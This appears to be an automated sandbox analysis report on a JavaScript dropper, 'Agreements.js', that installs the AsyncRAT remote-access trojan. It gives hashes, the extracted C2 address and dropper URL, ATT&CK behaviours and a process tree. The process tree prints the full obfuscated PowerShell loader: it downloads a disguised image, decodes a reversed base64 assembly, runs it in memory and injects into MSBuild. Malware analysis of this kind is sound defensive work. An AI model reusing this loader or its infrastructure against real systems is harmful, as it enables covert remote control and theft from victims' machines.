Analysis

  • max time kernel
    96s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-01-2025 13:31

General

  • Target

    Agreements.js

  • Size

    163KB

  • MD5

    cb7541f8671eb6b42ce0a58de6973c9b

  • SHA1

    aebfdd104f8883f35aa9818cc3a9e2248c8d3379

  • SHA256

    a45962b3f4ff99334a43e3fea7ca89bc324ed95c3eb14406ccc1701141147013

  • SHA512

    8a735f9261b829951fc00ade7ad065c3d5fac6387c1344bbd3130793c71dd6d5764f43324dc2f0577941ec422480844520575d496408f2df9c54931c30d1c533

  • SSDEEP

    1536:c8uNnKlC9130ibAHEGlexE7Ea9ERy4rDqm4SzQ6VIYWij5zeDJKg0tW7exmbcAOp:c8WnKM9abHcqUqYzQ6V2id8U

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/dc12ss6tu/image/upload/v1736761789/giqxrtx59cniopnbdvxz.jpg

exe.dropper

https://res.cloudinary.com/dc12ss6tu/image/upload/v1736761789/giqxrtx59cniopnbdvxz.jpg

Extracted

Family

asyncrat

Version

Venom Pwn3rzs' Edtition v6.0.1

Botnet

Default

C2

185.196.10.147:4449

Mutex

naiiqsunoewliwauv

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Agreements.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = 'SmpUQ/sr.e#sap//:sp##h';$restoredText = $originalText -replace '#', 't';$CeuLNziGNBSqGLBuWpTA = 'https://res.cloudinary.com/dc12ss6tu/image/upload/v1736761789/giqxrtx59cniopnbdvxz.jpg';$OPGOZtClmUipcxnxfutG = New-Object System.Net.WebClient;$bRGRflUnWLzJiWPReoWi = $OPGOZtClmUipcxnxfutG.DownloadData($CeuLNziGNBSqGLBuWpTA);$IiOcURGPLLUWLcPbjBbz = [System.Text.Encoding]::UTF8.GetString($bRGRflUnWLzJiWPReoWi);$QOCNxxLJUeWBiiqitGca = '<<BASE64_START>>';$WLLqUaKsKLoOKWhzAsAf = '<<BASE64_END>>';$UZlpLmBcUOnkciicUWbG = $IiOcURGPLLUWLcPbjBbz.IndexOf($QOCNxxLJUeWBiiqitGca);$KkLWLzvkGCpoLakOxmHL = $IiOcURGPLLUWLcPbjBbz.IndexOf($WLLqUaKsKLoOKWhzAsAf);$UZlpLmBcUOnkciicUWbG -ge 0 -and $KkLWLzvkGCpoLakOxmHL -gt $UZlpLmBcUOnkciicUWbG;$UZlpLmBcUOnkciicUWbG += $QOCNxxLJUeWBiiqitGca.Length;$LKpeWfeNinGLeGWuWSKU = $KkLWLzvkGCpoLakOxmHL - $UZlpLmBcUOnkciicUWbG;$AGLfcWOaTSUUPLCtKLbL = $IiOcURGPLLUWLcPbjBbz.Substring($UZlpLmBcUOnkciicUWbG, $LKpeWfeNinGLeGWuWSKU);$tWtGLWBbKlKAhZLZQfTi = -join ($AGLfcWOaTSUUPLCtKLbL.ToCharArray() | ForEach-Object { $_ })[-1..-($AGLfcWOaTSUUPLCtKLbL.Length)];$LLZqrLAtAzehGLKzGBJR = [System.Convert]::FromBase64String($tWtGLWBbKlKAhZLZQfTi);$qKLkBildhPftTRIZOWeh = [System.Reflection.Assembly]::Load($LLZqrLAtAzehGLKzGBJR);$KNtdAZOGOULLmnnomqiz = [dnlib.IO.Home].GetMethod('VAI');$KNtdAZOGOULLmnnomqiz.Invoke($null, @($restoredText, 'digWsKrGNiZhUuofWNWb', 'digWsKrGNiZhUuofWNWb', 'digWsKrGNiZhUuofWNWb', 'MSBuild', 'digWsKrGNiZhUuofWNWb','digWsKrGNiZhUuofWNWb','digWsKrGNiZhUuofWNWb','URL', 'C:\ProgramData\','sexifid','js','10','1','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4972
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\sexifid.js"
        3⤵
          PID:1952
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
            PID:2316
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3640
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3640 -s 1296
              4⤵
              • Program crash
              PID:4452
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3640 -ip 3640
        1⤵
          PID:1756

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fm31ftla.v3w.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3640-25-0x0000000000400000-0x0000000000418000-memory.dmp

          Filesize

          96KB

        • memory/3640-31-0x0000000005880000-0x00000000058E6000-memory.dmp

          Filesize

          408KB

        • memory/3640-29-0x0000000005EE0000-0x0000000006484000-memory.dmp

          Filesize

          5.6MB

        • memory/4972-21-0x00007FFFC1500000-0x00007FFFC1FC1000-memory.dmp

          Filesize

          10.8MB

        • memory/4972-19-0x00007FFFC1500000-0x00007FFFC1FC1000-memory.dmp

          Filesize

          10.8MB

        • memory/4972-6-0x00007FFFC1503000-0x00007FFFC1505000-memory.dmp

          Filesize

          8KB

        • memory/4972-20-0x00007FFFC1503000-0x00007FFFC1505000-memory.dmp

          Filesize

          8KB

        • memory/4972-22-0x0000016DF49D0000-0x0000016DF4B2A000-memory.dmp

          Filesize

          1.4MB

        • memory/4972-24-0x00007FFFC1500000-0x00007FFFC1FC1000-memory.dmp

          Filesize

          10.8MB

        • memory/4972-18-0x00007FFFC1500000-0x00007FFFC1FC1000-memory.dmp

          Filesize

          10.8MB

        • memory/4972-28-0x00007FFFC1500000-0x00007FFFC1FC1000-memory.dmp

          Filesize

          10.8MB

        • memory/4972-17-0x00007FFFC1500000-0x00007FFFC1FC1000-memory.dmp

          Filesize

          10.8MB

        • memory/4972-12-0x0000016DF4450000-0x0000016DF4472000-memory.dmp

          Filesize

          136KB